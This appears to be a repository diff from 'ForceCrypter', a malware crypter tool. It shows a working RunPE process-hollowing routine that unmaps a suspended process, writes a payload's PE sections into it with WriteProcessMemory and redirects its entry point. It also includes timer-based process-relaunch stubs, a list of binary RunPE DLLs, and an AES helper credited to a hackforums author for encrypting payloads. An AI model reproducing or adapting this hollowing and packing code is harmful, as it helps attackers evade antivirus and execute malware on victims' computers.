if (imageBase == baseAddress)
{
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
return false;
}
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0)
{
allowOverride = true;
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
if (newImageBase == 0)
return false;
}
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
return false;
int sectionOffset = fileAddress + 248;
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
for (int I = 0; I <= numberOfSections - 1; I++)
{
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
if (sizeOfRawData != 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
return false;
}
sectionOffset += 40;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
return false;
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
if (allowOverride)
newImageBase = imageBase;
context[44] = newImageBase + addressOfEntryPoint;
if (!SetThreadContext(pi.ThreadHandle, context))
return false;
if (ResumeThread(pi.ThreadHandle) == -1)
return false;
return true;
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Resources/doop.cs
+48
View File
@@ -0,0 +1,48 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using Timer = System.Timers.Timer;
namespace fuckcancercode
{
static class Program
{
[STAThread]
static void Main0()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
public class FrmOne : Form
{
public FrmOne()
{
Timer timer1 = new Timer();
timer1.Interval = 500;
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
string pers = "notepad.exe";
if (Process.GetProcessesByName(pers).Length < 1)
{
{
Process.Start(pers);
// Is running
}
}
}
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Resources/doop.txt
+48
View File
@@ -0,0 +1,48 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using Timer = System.Timers.Timer;
namespace fuckcancercode
{
static class Program
{
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
public class FrmOne : Form
{
public FrmOne()
{
Timer timer1 = new Timer();
timer1.Interval = 500;
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
string pers = "notepad.exe";
if (Process.GetProcessesByName(pers).Length < 1)
{
{
Process.Start(pers);
// Is running
}
}
}
}
}
}
C# (ForceCrypter/ForceCrypterSmall/RunPE0.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE1.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE10.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE11.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE2.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE3.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE4.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE5.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE6.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE7.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE8.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/RunPE9.dll
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/ThemeBase154.cs
+2437
View File
File diff suppressed because it is too large Load Diff
C# (ForceCrypter/ForceCrypterSmall/encboop.cs
+79
View File
@@ -0,0 +1,79 @@
using System;
using System.Text;
using System.Security.Cryptography;
using System.IO;
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace ForceCrypterSmall
{
public class Encboop
{
public static byte[] AESEncrypt(byte[] encrypt, byte[] key2)
{
byte[] encryptedBytes = null;
// Set your salt here, change it to meet your flavor:
// The salt bytes must be at least 8 bytes.
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(encrypt, 0, encrypt.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
}